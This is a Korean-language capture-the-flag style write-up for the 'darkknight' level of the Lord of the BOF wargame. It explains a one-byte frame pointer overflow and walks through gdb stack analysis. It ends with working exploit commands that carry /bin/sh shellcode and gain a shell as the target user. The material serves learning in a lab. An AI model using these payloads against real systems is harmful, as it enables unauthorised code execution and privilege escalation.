LOB golem => darkknight
문제
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
소스코드를 읽으면 문제 파일명 밑에 기법이 써져있는 것을 오늘 처음 알았다.
문제 내용을 살펴보면
- FPO기법 사용해야하고
- buffer의 크기인 40byte 보다 1byte 더 많이 argv[1]에서 buffer로 옮겨온다.
- argv[1]의 입력받는 크기에 제한이 없다.
FPO ( Frame Pointer Overflow )
우선 FPO를 하기 위해서는 아래 조건을 만족해야 한다.
- main() 외에 서브 함수가 1개 이상 존재해야 한다.
- 서브함수에서 SFP 의 하위 1byte가 오버플로우가 가능해야 한다.
그럼 이제 FPO에 대해서 알아보자.
위에 소스코드를 보면 입력받은 argv[1]인자를 problem_child 함수를 호출하여 거기로 가져간다. 이러한 과정과 같이 일련의 과정을 거쳐서 call 명령으로 다른 함수가 호출되었고 이 함수의 에필로그가 실행될 때 발생한다. 이 때 스택 상태는 이렇게 된다.
그 후 pop ebp 과정에서 변조된 SFP 하위 1byte를 이용하여 ebp를 shellcode-4의 주소로 이동을 시킬 수 있다.
이제 ret가 실행되면 esp가 가리키는 값을 eip에 넣고 jmp를 하여 해당 주소로 점프하게 된다. 이 때 보통 eip가 가리키고 있는 값이 ret라서 돌아갈 주소로 점프하는 것이다.
이 후 메인 함수로 넘어온 뒤 일련의 과정이 끝나고 main()의 에필로그가 실행될 때 어떤 현상이 일어나는지 지켜보자.
이렇게 mov esp, ebp를 통해 esp를 ebp의 위치로 보내고 그 위치는 저번에 ebp를 보낸 shellcode-4의 위치가 된다.
그럼 그 후 pop ebp가 실행되면서 ebp는 어딘가로 이동한다. 이 때 중요한 점은 esp가 buffer[40]의 위치를 가리키게 된다는 것이다. 이 때 buffer에 쉘코드가 존재한 주소를 넣게 된다면 어떤 일이 일어날까? eip로 esp가 가르킨 buffer에 4byte를 넣고 쉘코드 주소로 eip를 가져가 쉘코드를 실행하게 될 것이다. 이것이 FPO기법이다.
풀이
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %ebp,%esp
0x8048443 <problem_child+3>: sub %esp,40
0x8048446 <problem_child+6>: push 41
0x8048448 <problem_child+8>: mov %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea %eax,[%ebp-40]
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add %esp,12
0x8048458 <problem_child+24>: lea %eax,[%ebp-40]
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push 0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add %esp,8
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
(gdb)
problem child에 에필로그가 시작하는 leave 부분에 bp를 걸어주자.
(gdb) r `python -c "print 'A'*40 + 'B' + 'C'*200"`
Starting program: /home/golem/tmp/darkknight `python -c "print 'A'*40 + 'B' + 'C'*200"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB?퓹???풶?옹 @
Breakpoint 1, 0x8048469 in problem_child ()
(gdb)
A를 이용하여 buffer의 위치를 파악하고 B를 이용하여 SFP의 하위 1byte C를 이용하여 쉘코드가 위치할 곳에 주소를 알아보는 과정이다.
0xbffffa00: 0xbffffa04 0x41414141 0x41414141 0x41414141
0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa20: 0x41414141 0x41414141 0x41414141 0xbffffa42
0xbffffa30: 0x0804849e 0xbffffb9f 0xbffffa58 0x400309cb
0xbffffa40: 0x00000002 0xbffffa84 0xbffffa90 0x40013868
414141로 A가 들어간것을 알 수 있고 0xbffffa42 에서 'B'인 42가 들어가 SFP 하위 1byte를 변조한것까지 확인할 수 있다. 또한 0x41414141이 시작하는 부분이 0xbffffa04 이기 때문에 변조할 하위 1byte는 '\x00'으로 해주면 될 것 같다.
0xbffffb90: 0x2f706d74 0x6b726164 0x67696e6b 0x41007468
0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbc0: 0x41414141 0x42414141 0x43434343 0x43434343
0xbffffbd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffbe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffbf0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffc00: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffc10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffffc20: 0x43434343 0x43434343 0x43434343 0x43434343
쭉 진행하다 보면 0x43434343이 보이기 시작한다. 0x43434343이 시작하는 0xbfffffbc8이 쉘코드의 주소가 될 것이므로 buffer에 맨처음에는 0xbffffbc8을 넣으면 될 것 같다.
필요한 정보는 모두 모은 것 같으니 익스 코드를 짜보자.
./darkknight `python -c "print '\xc8\xfa\xff\xbf' + 'A'*36 + '\x00' + '\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[golem@localhost tmp]$
다음과 같이 segmentation fault와 함께 core파일이 생성된 것을 확인할 수 있다. 무엇이 문제인지 확인해보자.
0xbffff9b8: 0x08048466 0x08048500 0xbffff9c4 0xbffffb78
0xbffff9c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e8: 0x41414141 0xbffff9b0 0x0804849e 0xbffffb4e
0xbffff9f8: 0xbffffa18 0x400309cb 0x00000002 0xbffffa44
gdb와 실제 파일의 메모리 주소가 실질적으로는 다르게 올라가는 것도 하나의 문제점이고 또
0xbffffc28: 0x696e6b6b 0x00746867 0xbffffac8 0x41414141
0xbffffc38: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc48: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc58: 0x44575000 0x6f682f3d 0x672f656d 0x6d656c6f
0xbffffc68: 0x706d742f 0x4d455200 0x4845544f 0x3d54534f
다음과 같이 nop과 함께 있어야 할 쉘코드가 보이지 않는다. 이유가 무엇일까? 그 이유는 '\x00' 때문일 것이라고 추측하고 있다. '\x00'은 NULL byte로 문자열의 끝을 알리는 기호로도 사용된다. 따라서 문자열이 끝났다고 판단하고 nop과 쉘코드를 받아오지 않은것 같다. gdb와 실제로 올라가는 주소는 틀리니 인위적으로 core파일을 생성하여 core파일을 분석해보도록 하자.
0xbffff9b8: 0x08048466 0x08048500 0xbffff9c4 0xbffffb78
0xbffff9c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e8: 0x41414141 0xbffff9b0 0x0804849e 0xbffffb4e
0xbffff9f8: 0xbffffa18 0x400309cb 0x00000002 0xbffffa44
0xbffffb78: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc8: 0x90909090 0x90909090 0x90909090 0x90909090
실제로 점프할 주소는 0xbffffb88쯤으로 변조할 하위 1byte는 '\xc0'으로 주면 될 것 같다.
[golem@localhost tmp]$ ./darkknight `python -c "print '\x78\xfb\xff\xbf' + 'A'*36 + '\xc0' + '\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
x?풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA쟬퓹?N???옹 @
bash$ id
uid=511(golem) gid=511(golem) groups=511(golem)
bash$
이제 본 파일에서 실행하자.
[golem@localhost golem]$ ./darkknight `python -c "print '\x88\xfb\xff\xbf' + 'A'*36 + '\xa0' + '\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
??풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??퓹?;?원?옹 @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$
segmentation fault가 한 번 더 발생했따... 왠지는 모르겠지만 어쨋든 위에 과정을 반복해서 주소를 찾고 반복해주면 된다.